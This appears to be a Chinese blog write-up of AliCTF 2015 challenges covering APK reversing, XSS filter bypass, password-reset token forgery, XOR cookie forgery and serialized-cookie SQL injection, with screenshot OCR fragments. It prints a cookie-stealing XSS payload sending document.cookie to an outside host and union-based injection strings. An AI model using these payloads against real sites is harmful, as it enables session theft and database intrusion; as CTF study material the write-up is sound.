2015 AliCTF Writeup





web渗透测试 专栏收录该内容

56 篇文章 7 订阅 订阅专栏

0x00

题目名称:cake 题目描述:下载apk,解出答案。(附件查看)pt http://blog.csdn.net/u011721501

给了个apk,反编译之。使用JEB,一开始使用classes_dex2jar出来的代码不能看.....

入口的Activity中有两个对话框,发现调用了check方法,只要不报异常就能成功。

```
try {
    this.b.check(this.a.getTout().toString());
    new AlertDialog$Builder(this.b).setMessage("正确").setNeutralButton("OK", null).create().show();
}
catch(Exception v0) {
    new AlertDialog$Builder(this.b).setMessage("错误").setNeutralButton("OK", v3).create().show();
}
    http://blog.csdn.net/u011721501
```

这里的this.b是M类的一个对象,所以找M类中的check方法。

进入check,看到代码的意思如下,调用getKey获取一个8字节的字符串:

try {
 y0 1 = this.getDey();
 tp; //bTog.csdn.net/u011721501

这里不会抛异常,所以调用的是T类中的方法。

然后接下来,里面有个16元素的数组,赋值的索引很乱,只能写纸上依次把元素的值找出来。

真正的关键代码如下:

```
while(v1 < arg10.length()) {
    if((v2[v1] & 255) != ((arg10.charAt(v1) ^ v0_1.charAt(v1 % v0_1.length())) & 255)) {
        throw new RuntimeException();
    }
    ++v1;
}
http://blog.csdn.net/u011721501</pre>
```

在循环中,v1从0开始,v2是题目中给出的数组,一共16个元素。arg10是我们从TextView中传递过来的字符串。只要绕过if就不抛异常了。

看到if的条件是异或运算然后比较,得出绕过条件boddylanbobdylan这个16位串与数组的元素挨个异或求出值即可,写段代码如下:



得到flag: blow, in the winD.

输入到APK中,弹出正确的dialog,然后提交到题目就得分了。



0x01



绕过xss过滤,在页面中可以提交<script>标签。于是提交js,发现过滤了.、=、()等字符,一开始想到使用反引号绕括号的过滤,可以弹窗,但是要收cookie就不行了,于是考虑对js代码进行编码(先html编码再URL编码)操作:

http://089d9b2b0de6a319.alictf.com/xss.php?name=<svg><script>%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2341%3B%26%2341%3B</script>



可以弹出窗口,那么利用location.href重定向一下,然后vps收一下cookie就行了。Payload的形式为:

<svg><script>urlencode(location.href="http://vps/1.php?c="+escape(document.cookie))</script>

这里是利用了svg标签的xml编码特性,在svg元素中的<script>元素,会先进行xml解析,然后再执行。这里使用了一次html编码,执行时自动解码。如果直接将payload进行一次html编码,还是会被过滤,而且全部都没有了,于是考虑再进行一次URL编码后提交,成功。

http://089d9b2b0de6a319.alictf.com/xss.php?name=<svg>

<script>%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2346%3B%26%23104%3B%

在VPS放置一个1.php页面,这个PHP页面接收GET参数c,即管理员cookie,然后将cookie字符串写入到本地1.txt文件中,最终Vps上直接从cookie获取到flag:

root@VM-131-71-ubuntu:/var/www/html# ls
1.php 1.txt dongguangli.php ftp index.html nmap report vip_mail_brute.py
root@VM-131-71-ubuntu:/var/www/html# cat 1.txt
flag=aHR0cDovLzA40WQ5YjJiMGR1NmEzMTkuYWxpY3RmLmNvbS96aGVkYW90aW11X3R1Ym11bWVpeW91eW1uZ31hbmcucGhwP3Rva2VuPTJhMzc3YzQyZWRkC
Tg1NDFkZjRmYTYyN2Q0Zjc0ZmFhroot@VM-131-71-ubuntu:/var/www/html# http://blog.csdn.net/u011721501

Base64解码一次这个flag,得到一个URL,点进去就是flag了。

0x02



打开之后发现有注册页面,并且提示只有Admin用户才能访问shop。第一反应就是要注册覆盖,在insert中使用一些换行符可以达到效果:

| raw | params | headers | hex | |
|----------------|---|--|----------------------|---|
| Refer | er: | | | |
| http: | //079416 | 191c2ab0 | 9a48a | 37e5bba817eb8.alictf.com/fc35fdc70d5fc69d26988 |
| Accer | t-Encodi | ng: gzin | 27041
. def | late |
| Cooki | .e: | | , | |
| Login | State=Lo | fShdTmOG | WrRSI | 7Yd3On29yAnGAZi7gTWFcsBdYX2tKb3H8soO58NJ11Wphq |
| xgfLG
MUN>2 | dbheMITN
BiQchPt2 | llyC2LoN%;
D.UUTQSvn | 2 B % 2 B
1 7 ¥mm | xMsPxyxI7jvJwJmbV1MUZvQk73nqngsXq2QABFhoWapO%0.
wWoOMerryMtY22Farst2BebNbGU72014PWyONW22FeFnGBfbb. |
| \$2BLT | b190MR02
W%3D%3D% | OA; PHPS | ESSID | =udecn8oc5li1ir6go9gbc5phf7 |
| l r | | | | |
| user | ame=Admi | .n%Oa&pas | sword | admin123456789 |
| | | | | |
| + | | | -/ | |
| respon | se | | / | |
| | haadam | | | and as |
| raw | neaders | nex nu | | |
| | | a de la compañía de la | | |
| <ic></ic> | | <div (<="" th=""><th>class</th><th>="col-md-9 main"></th></div> | class | ="col-md-9 main"> |
| <1.2>S | UCCESS! < | :/n2> | | |
| | <th>r></th> <th></th> <th>nttp://biog.csdn.net/u011721501</th> | r> | | nttp://biog.csdn.net/u011721501 |

然后登录Admin账户,可以发现卖东西的页面:

| SheepShop - 搜狗高速浏览器 | | | (| 账户(U) 文件(E) | 查看(V) 收藏(O) |
|--|-----------------------------|-------------------------|-----------------------|----------------|--------------|
| 💽 🌔 😯 🏚 🧊 🖈 💽 http://079416191c2ab09a48a | 37e5bba817eb8 | alictf.com/fc35fdc70d5. | fc69d269883a822c7a53e | /login.php?tok | 🕡 👻 🥑 兼容 💙 |
| 昰收藏 ▼ 图 PyTab在 △ 控制台 - S ※漏洞时代 - 6 我的首页 图 WooYun 图 W | oYun(<mark>知</mark> 首页 - 知 | 🛙 🕕 网络安全 🗟 云南大学 | CExploit的 🗟 FreeBuf.C | 🌏 The Pytho 👖 | Web « Ex 🗏 🕻 |
| 🗐 🔥 主页 - 网址大全 🛛 🛛 🔹 ALICTF 2015 🛛 🛛 😵 Shee | Shop | × 🗟 ALICTF Cover | × | | |

SheepShop

| Home | Logged in as Admin | |
|----------|--------------------|--|
| Register | | |
| Login | | |
| Shop | | |
| | | |
| | | |

http://blog.csdn.net/u011721501

但是只有一点点钱,所以只能抓包看看能不能把数量改为负数。



真的可以,提交后alert一个payment,反向付款让我直接变土豪了。

| SheepShop - 搜狗高速浏览器 | 账户(U) 文件(F) 查看(V) 收藏(Q) 工具 |
|--|---|
| [📎 🄄 🕙 🏚 🦭 🚖 🖪 http://079416191c2ab09a48a37e5bba817eb8.alic | f.com/fc35fdc70d5fc69d269883a822c7a53e/shooooooooo 🥑 🗸 🥔 兼容 > 🛽 |
| 王收藏 ▼ 图 PyTab在 △控制台 - S 淡漏洞时代 - 参我的首页 图 WooYun 图 WooYun(题首页 - 知 ① | 网络安全 🗟 云南大学 🥃 Exploit的 🗟 FreeBuf.C 🌻 The Pytho 🚺 Web « Ex 🗏 🚺 👔 |
| 🗐 🔷 主页 - 网址大全 🛛 🗙 ALICTF 2015 🛛 🛛 🔏 SheepShop 🛛 🗙 | ALICTF Cover × O |

SheepShop

| Ноте | Logged | in as Admin! You hav | e \$2147470747! | | |
|---------------|--------|--|-----------------|--------------|---------------------------------|
| Register | # | Alpaca | | Value | Buy |
| Login
Shop | 1 | (And a state of the state of th | | \$10 | Buy |
| | 2 | | | \$30 | Buy |
| | 3 | | | \$50 | Buy |
| | 4 | | | \$100 | uttp://blog.csdn net/u011721501 |

用这些钱去买那个最贵的草泥马得到flag。

| SheepShop - 搜狗高速浏览器 | | | | | 账户(U) 文件(E) 查看(V) 收 | G |
|-------------------------------|------------------|-------------------------------|----------------------------|-----------------------|----------------------------|----|
| 🔰 🌔 🗙 🙃 🗩 🗶 | 🔊 💽 http://07941 | 6191c2ab09a48a37e5bba817 | eb8.alictf.com/fc35fdc70d5 | fc69d269883a822c7a53 | Se/shoooooooo 🥑 👻 🏉 | ŧ. |
| 🖹 收藏 🔻 💽 PyTab在 실 控制台 - S 💥 漏 | 洞时代 - 💰 我的首页 | 🚳 WooYun 🚳 WooYun(知首) | 页 - 知 🛈 网络安全 🗟 云南大学 | CExploit的 🗟 FreeBuf.0 | C 🥏 The Pytho 🚺 Web « Ex 🖞 | ą |
| 🗉 🔥 主页 - 网址大全 🛛 🛛 📧 | ALICTF 2015 | × 🚯 SheepShop | × 💽 ALICTF Cover | × 🕀 | | |
| | | | | | | |
| SheepShop | 来自网页的消息 | | × | | | |
| Home | flag is: | cf6c4c928bff62438bcf4349921b7 | 109e1a0b2f8 | | | |
| Register | | | | | | |
| Login | | | 确定 | | | |
| Shop | | | | | | |

http://blog.csdn.net/u011721501

0x03



右键查看源码,给出了一段jquery代码。使用jquery的getScript方法载入default.js,第一反应是要绕过URL验证导向我们自己的js文件。

思路有了就要绕过了。

导向到我们自己的js,要使用前端猥琐流URL Hacking技术,在web之困和乌云知识库上都有看到过URL中的@可以作为重定向。

Js代码的目的就是将location.hash的URL进行解析,分离出URL组成中的协议、端口、认证的用户名密码,以及判断了是否域名为notexist.example.com。

重点是如果将重定向的域名指定为我们的js地址,绕过如下代码:



具体绕过是根据这段代码:



原理主要是用了@的不同含义,@既可以用来做验证,即前面跟用户名密码然后冒号分割,又可以进行重定向。绕过就是依靠 这个性质,payload如下:

http://ef4c3e7556641f00.alictf.com/xss.php?http://x:x@notexist.example.com:@xss.hacktask.net/bLabyp?1427513459

红色部分是我的js地址。

在xss平台上,成功收到flag:

| 当 | 前位置: | 首页 > 项目内容 | | | 看代码 |
|----|--------------------|--------------------------|---|---------------------------------|-----|
| 项目 | 名称 : X | SS | D | omain: 全部 | |
| 接口 | 地址: <mark>h</mark> | ttp://xss.hacktask.net/c | lo/auth/2968faae36b5be45d6a204d84898124 | lf g | ₹装插 |
| | +全部 | 时间 | 接收的内容 | Request Headers | 操作 |
| | | | location : http://ef4c3e7556641f00.alictf.c | | |
| | | | om/index2.php?http://x:x@notexist.exam | HTTP_REFERER : http://ef4c3e7 | |
| | | | ple.com:@xss.hacktask.net/bLabyp?14275 | 556641f00.alictf.com/index2.php | þ |
| | | | 13459 | ?http://x:x@notexist.example.c | |
| | | | toplocation : http://ef4c3e7556641f00.alict | om:@xss.hacktask.net/bLabyp? | |
| | | | f.com/index2.php?http://x:x@notexist.exa | 1427513459 | |
| | _୳ନ୍ୟ | 2015-03-28 11.55.32 | mple.com:@xss.hacktask.net/bLabyp?142 | HTTP_USER_AGENT : Mozilla/5.0 | |
| | -1/1 <u>282</u> | 2013-03-20 11.33.32 | 7513459 | (Windows NT 5.2; WOW64) App | |
| | | | cookie : flag=aHR0cDovL2VmNGMzZTc1NT | leWebKit/537.36 (KHTML, like Ge | e |
| | | | Y2NDFmMDAuYWxpY3RmLmNvbS9kYXRvd | cko) Chrome/41.0.2272.101 Saf | ŧ. |
| | | | WVyemlfaGVfd2VpcXVubWFtYV9kZWd1c2 | ari/537.36 | |
| | | | hpLnBocD90b2tlbj1kZDRlOGMzNDI0ZDliM2 | REMOTE_ADDR : 121.40.137.17 | 7 |
| | | | EyODdhOTI0MzM1ZjBkNGEyNg | 3, 176.34.28.32 | 501 |
| | | | opener : | , brog. obdit. ne t/ d0111210 | |

Base64解码一次这个flag,得到一个URL,点进去就是flag了。

0x04



这里打开后看到有登录、注册和密码找回。既然搞业务逻辑,密码找回的概率大,所以从它入手,随便注册一个账号,看到邮件发来之后是以一串token作为url连接:



猜测这个token可以破解出来,在密码找回页面上,看到了提示:

<!-testKey: 673f3e705c8d5b7af675f309e58d46c9
ServerTime : 15-03-29 14:35:59 -->
http://blog.csdn.net/u011721501

每次打开页面的serverTime都不一样,但是这个key不变,所以肯定用了什么组合方式将这个key作为token的一部分。

之前有从乌云上看到360的密码找回的弱token字段的爆破,所以这里要研究一下这个pass_token是如何生成的,这样就可以绕过邮箱了。

随便申请个账号ynu,点击密码找回做个测试,发现邮件中有发件时间的提示,我用了用户名+key+时间戳的组合进行测试。但 是邮件中没有给秒数,所以自己做个list遍历看能不能得到token,代码如下:



运行结果如下:



可以看到,成功生成了token。

按照这个思路,将admin的密码找回链接生成出来就行了。

步骤:

- 1、点击密码找回,输入admin
- 2、提交,然后提交前要查看源码,主要是看那个serverTime,给了秒数。

3、在程序中递增这个秒数直到获取了url。

代码如下,因为发邮件会有一定的延迟,所以要递增这里的gettime函数中的秒数,直到输出的html页面不是"链接失效":



生成了admin的密码重置URL之后,点击进去可以设置密码了:

| 重置密码,当前用户:admi | in |
|------------------|----------|
| 新密码(必须大于8位否则无效): | |
| Password | |
| 重复新密码(同上一个密码): | |
| Password | |
| | <u> </u> |

这里还有个坑,改了密码登录发现被检测出异常登录,蛋疼。

心想肯定限制了IP,提交X-Forwarded-For字段,还是不行。就差一点儿去爆破常用的内网网段了。。。。。。。。

最后脑洞开了,==济南人事管理系统,真不会是用真的济南的IP来搞吧......

找了个在济南上学的同学,然后用QQ的远程控制功能登录这个题,输入admin的账号密码,用了济南的IP再次登录就获取到了flag:

恭喜你,你已成功登录系统!注销

。当前用户是:admin, 您可以获得Flag:3499e3b1524936b8df49630fc4181f64a332e524

http://blog.csdn.net/u011721501

我做完之后,看到公告是说降低了题目的难度,不知道是不是直接找个济南IP加载X-Forwarded-For字段里就行了。

0x05



Upx壳,在BT5下面使用upx-d先进行脱壳。

哥试

Od加载发现运行不起来,有反调试。

运行程序,然后attach。

在GetWindowTextA下断,回溯堆栈,找到程序调用的地方。

| | cld | |
|----------|---------------------|-------------------|
| | mov | edx, [ecx+37Ch] |
| | push | edx |
| 00405924 | call | ds:GetWindowTextA |
| | http. J. | short loc_40592F |
| | jnz ^{10g.} | short 106_40592F |

回溯上一层



其中loc_405900就是获取用户输入的地方。猜测验证key的程序在loc_405160。这2个函数因为花指令,ida没有把他们识别为函数,因此不能反编译。进入loc_405160,发现往栈上赋值,猜测为flag。

| :00405179 | mov | byte p | otr [| ebp-110h], | 6Ah |
|-----------|-----|--------|-------------------|-------------|----------|
| :00405180 | mov | byte p | otr [| ebp-10Fh], | 68h |
| :00405187 | mov | byte p | otr [| ebp-10Eh], | 69h |
| :0040518E | mov | byte p | otr [| ebp-10Dh], | 6Eh |
| :00405195 | mov | byte p | otr [| ebp-10Ch], | 6Ch |
| :0040519C | mov | byte p | otr [| ebp-10Bh], | 6Ch |
| :004051A3 | mov | byte p | tr [| ebp-10Ah], | 1721501 |
| :004051AA | mov | byte p | tř ⁵ [| ebp-109h]/, | 10 21001 |

往下看了下,有对字符串变换的指令,直接拖到该函数结束的地方,下个断点。



这儿如果跳转,程序返回1.如果不跳,程序返回0。因此这应该大概是最终比较的地方。所以选择在此处下断。

再次查看那块内存。

| 地址 | HΕΣ | 〈数 | :据 | | | | | | | | | | | | | | ASCII | |
|----------|-----|----|----|----|----|----|----|----|----|-----|----|---------------|----|--------------|-------|----|------------------------------|----|
| 0012F4D8 | 37 | 35 | 34 | 33 | 31 | 31 | 31 | 00 | 00 | ឲថា | 00 |)0.0 / | ÓÒ | 100 (| z0 Oc | 90 | r 7.5481ti/i u0117215 | 01 |
| 0012F4F8 | 66 | 66 | 66 | 66 | 66 | 66 | ពព | 66 | ดด | 66 | ดด | ពព | 66 | ดด | ดด | 66 | | |

得到flag。

0x06



拿到页面之后,发现源码页面有注释的两段PHP代码,一段是加密算法,一段是解密算法。

一进来就显示Guest,没有登录的话,应该是cookie字段有东西,抓包看果然有个role字段,是base64编码过的,解码一下发现没 有实际意义。 这时就想到能不能从算法本身入手,分析代码中的缺陷来自己构造出Admin账户的role字段,就可以访问Article了。

分析源码:

1、加密算法

具体的加密算法流程如下:



密文的Guest前后32位组成为:

md5(Guest) ⊕ 32位rnd ⊕ \$V

后32位为:

32位md ⊕ reverse_\$V

2、解密算法

解密算法只返回一个32位的串。

取前面32位,组成为:

Md5(Guest) ⊕ 32位rnd ⊕ \$V结合我们加密时获取的后面32位的数据,这32位和明文本身无关,经过异或运算的性质,相同值 为0,任何串和0异或是它本身。就可以推导出Admin的role字段,具体过程如下,前32位主要使用异或把Guest的md5抵消掉,然 后加上我们的Admin的md5值,具体的公式如下:

 $md5(Guest) \oplus 32$ $(intermed \oplus V \oplus md5(Admin) \oplus md5(Guest))$

后32位都一样,从http报文的role的后32位base64解码之后拼接过来就行了。这里的自带的role字段的值base64解码后要凑够64位,加两个等号补位。

还原Admin的role字段代码如下:



运行结果:

| blind.py | 10 |
|---------------------|--|
| c | 17 |
| d | 18 #testtest |
| RemoteSystemsTempF | 19 for i in xrange(0,32): |
| ▶ test | <pre>20 tmplist.append(ord(GuestStr[i])^ord(AdminStr[i]))</pre> |
| 02 mbm | 21 |
| 02.php | 22 for i in range(0,32): |
| US.bnb | <pre>23 AdminRole += chr(ord(base64[i])^tmplist[i])</pre> |
| AdminRole is ZWdlYW | Q4NzljNzBgZmU1b2RnN2ZiNGIyNjtiZzJ1YjNRVQMCUA5ZCFABAVcNVFAAVgdQVAEGUgVRUQAGVFMGVw |
| [Finished in 0.1s] | |
| | |
| | |
| | http://blog.csdn.net/u011721501 |
| | |

运行代码即可获取Admin的role字符串,抓包加入至cookie,然后成功返回了页面,提示我们是Admin用户。

ALICTF Cover - 搜狗高速浏览器		账户(U) 文件(E)	查看(V) 收藏(Q) 工具(T) 帮助(H)	° - 6
🔰 🦙 🔿 🗙 🏚 🧊 🖈 💽 http://cbcd512994370fc3d6a05eb9a	73b31e9.alictf.com/dba8880fbcc025266576950	828b2c4a7/index.php?tol	🥑 👻 🧷 兼容 ゝ 🔁 🏼 選約	
双藏 ▼ 📑 PyTab在 🥧 控制台 - S 💥 漏洞时代 - 💿 我的自贝 🎴 WooYun 🎴 WooYun(🛄 自贝 - 知 🖞 网络安全 🖲 云南大字 🧲 Exploit的 🦷	FreeBut.C 🧖 The Pytho 🚺	Veb « Ex 🗏 🚺 価声2009	🗟 酷米图书
🔥 主页 - 网址大全 🛛 🛛 🖉 ALICTF 2015 🛛 🛛 🕹 🔧 🕄 ALICTF Cove	ir × 🗇			
Cover	Home	Article Contact		
	/			
	weicome Admin!			
Cover is a one-pag	e template for building simple and	beautiful home		
pages. Downlo	ad, edit the text, and add your ow	n fullscreen		
bacl	karound photo to make it your own			
		http		

但是访问Article会找不到flag,居然还有坑==。。。。

抓包看下,发现还有个article字段,urldecode一下发现是个PHP序列化字符串,是个integer类型,内容为1,抓包截图:

raw params neaders nex			
GET /dba8880fbcc02526657695082	Bb2c4a7/arrrrrrrrrticle.php?token=42afe8e626fca9ef4e2732ba73956b0b		
HTTP/1.1			
Host: cbcd512994370fc3d6a05eb9	a73b31e9.alictf.com		
Proxy-Connection: Keep-Alive			
Accept: */*	DUD合动化由		
Accept-Language: zh-CN	开口 户予列化甲		
User-Agent: Mozilla/5.0 (Windo	g/NT 6.1; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko		
Referer:			
http://cbcd512994370fc3d6a0feb	Ja73b31e9.alictf.com/dba8880fbcc025266576950828b2c4a7/arrrrrrrrrrticle.ph		
p?token=42afe8e626fca9ef4e2732	pa73956b0b		
Accept-Encoding: gzip, deflate			
Cookie: role=VjA2bzNbP2VkbmA%2	fN2EyYmJmPDY2OGR1Pz04ZGNgMTtSVVNSUQIAUwULVwBXBAYFUQRcVgFSBgcJV1MEAgFWUg;		
article=i%3A1%3B;			
LoginState=LofShdTmOGWrRS17Yd3	Jn2QrsvE432P%2BS9t1%2BVexkeKLk6M20j0zOsrJGB7aRxhDpEmt1P0F1hUw%0A300mzU%2B2		
Y%2Fxu%2BXNE3cXitBQJYCgHF67yzh2mNA7FqXd6R92zSXLYEPfbXZy6dvpea5DQAMHiSdbK%OAn87rAK3iRihHekn%2F8V8S2zHU%2F			
%2FdT%2BtQ31c1pny%2BLgc1dYg6UJ	aHCGxarqzvjaL1wSoYIJY5PDm9t%UASwbRmcyFN1QC874a66409RyFKnnb%UA;		
PHP5L551D=n8a8CC3vp4htth621b36	http://blog.csdn.net/u011721501		
	noopi,, orogi obaninoo, aorribioor		

我们尝试修改这个原来的1,发现页面返回不一样了,第一反应这里可能要注入拿flag。

htoreu-474reoeo70rc4aer467/27b4/2ao0000
Accept-Encoding: gzip, deflate
Cookie: <u>rolo-YjA2bcW</u> hP2VkbmA%2FN2EyYmJmPDY20GR1Pz04ZGNgMTtSVVNSUQIAUwULVwBXBAY
article=i%3A2%3B;
LoginState=Lorsnc1m0GWrRSI7Yd3On2QrsvE43ZP%2BS9tI%2BVexkeKLk6MzOjUzOsrJGB7aRxh
VIDE WIDE AVIA DO THE AVIA DE AVIA DE AVIA DE AVIA DE AVIA DE AVIA
response
raw headers hex html render
i'm nothing to tell you!
<pre></pre>
an and the set of the design of the second set o

提交string类型的序列化字符串,分别提交:

s:9:"1 and 1=1";

s:9:"1 and 1=2";

页面返回有差异,确定为注入点。这里肯定是把序列化字符串直接带入了SQL语句进行查询了。

使用order by猜解列数,发现为两列:

Cookie: role=Vj42bzNbP2Vkbm4%2FN2EyYmJmPDY2OGR1Pz04ZGNgMTtSVVNSUQIAUwULVw					
LoginState=LofShdTwoCUvBS17Yd20n2QrsvE43ZP%2BS9t1%2BVexkeKLk6MzOjUzOsrJGB					
+ < >					
nothing in cookie!					
Bootstrap core JavaScript</td					
<pre>Accept=Encouring. g21p, defiate Cookie: role=Yj12bzNhP2Vkhml%2FN2EyYmJmPDY2OGR1Pz04ZGNgMTtS article=s:12:"1 order by 2";; LoginState=LofShdTmOGWrPSI7Vd3Dn2QrsvE43ZP%2BS9t1%2BVexkeKL ************************************</pre>					
response					
raw beaders bex btml render					
<pre>nothing in cookie!</pre>					
http://cbcd512994370fc3d6a05eb9a73b31e9.alictf.com/dba8880fbcc025266576950828b2c+ p?token=42afe8e626fca9ef4e2732ba73956b0b Accept-Encoding: gzip, deflate Cookie: role-1jacozwnP2vkomasarN2EyYmJmPDY20GR1Pz04ZGNgMTtSVVNSUQIAUwULVwBXBAYFU(article=s:12:"1 order by 3";; LoginState hof5hdTm06WrRSI7Yd30n2QrsvE43ZP%2BS9tI%2BVexkeKLk6Mz0jUzOsrJGB7aRxhDpl ** 2Fww12DMFP2-VieDe1WC-WFC2wb2wMJRF-V4CD02-CWLWED6bW2wc4ww-stD01Wulc4bW*01w02wb					
response					
raw headers hex html render					
<h3 class="masthead-brand">Cover</h3> <nav> <ul class="Nav masthead-nav"></nav>					
页面出错					
<a :<br="" href="index.php?token=42afe8e626fda9ef4e2730ba73956b0b"><li class="active"><a< li=""></a<>					

使用union查询来确定回显列数,为第二列:

获取flag,这里算我人品好,当时做到这里快没时间了,于是猜flag字段和flag表,人品爆发!!!!!

Payload为:

S:39:"1 and 1=2 union select 1, flag from flag";

go cancel host 05eb9a73b31e9.alictf.com <				
request				
raw params headers hex				
<pre>Proxy-Connection: Keep-Alive Accept: */* Accept: */* Accept-Language: zh-CN User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko Referer: http://cbcd512994370fc3d6a05eb9a73b31e9.alictf.com/dba8880fbcc025266576950828b2c4a7/arrrrrrrrrrticle.ph p?token=42afe8e626fca9ef4e2732ba73956b0b Accept-Encoding: gzip, deflate Cookie: role=YjA2bzNhP2VkbmA*2FN2EyYmJmPDY2OGR1Pz04ZGNgMTtSVVNSUQIAUwULVwBXBAYFUQRcVgFSBgcJV1MEAgFWUg; article=s:39:"1 and 1=2 union select 1,flag from flag";; LoginState=LofShdTmCGWrBS17Vd3Dm20rswF43ZP\$2BSCF1\$2BVevkrKLk6Mz0jUzOsrJGB7aRxhDpEmtIPUFIhOw\$0A3oOmzU\$2BX ************************************</pre>				
response				
<pre>actf_flag_yizhixiaomifeng_feizaihuangcongzhong.php</pre>				
Bootstrap core JavaScript ====================================</td				
<pre><!-- Placed at the end of the document so the pages load faster--> <script src="main_files/jquery.min.js"></script> <script src="main_files/bootstrap.min.js"></script> <script src="main_files/bootstrap.min.js"></script> <script src="main_files/docs.min.js"></script> <</pre>				

直接访问这个页面就获取了flag:

GET	
/dba8880fbcc025266576950828b2c4a7/actf flag yizhixiaomifeng feizaihuangcongzhong.php?token=42afe8e626fca	ι 🔲
9ef4e2732ba73956b0b HTTP/1.1	
Host: cbcd512994370fc3d6a05eb9a73b31e9.alictf.com	=
Proxy-Connection: Keep-Alive	
Accept: */*	
Accept-Language: zh-CN	
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko	
Referer:	
http://cbcd512994370fc3d6a05eb9a73b31e9.alictf.com/dba8880fbcc025266576950828b2c4a7/arrrrrrrrticle.ph	1
p?token=42afe8e626fca9ef4e2732ba73956b0b	
Annant Reading and deflate	-
+ < > 0 ma	itches
response	
raw headers hex html render	
Content-Type: text/html	
Connection: keen-alive	_
V-Dowered-Rv. PHP/5 3 3	
Content Length: 141	
concent lengen. III	
<pre>chtml>/meta_http_equiv="Content_Type" content="text/html; charget=utf_8" /></pre>	
	=
Hastebookuu sybyoti ruoteuuuu ku sasaa	
http://blog_csdp_pot/u0117215	in 💌
+ < > 0 ma	tches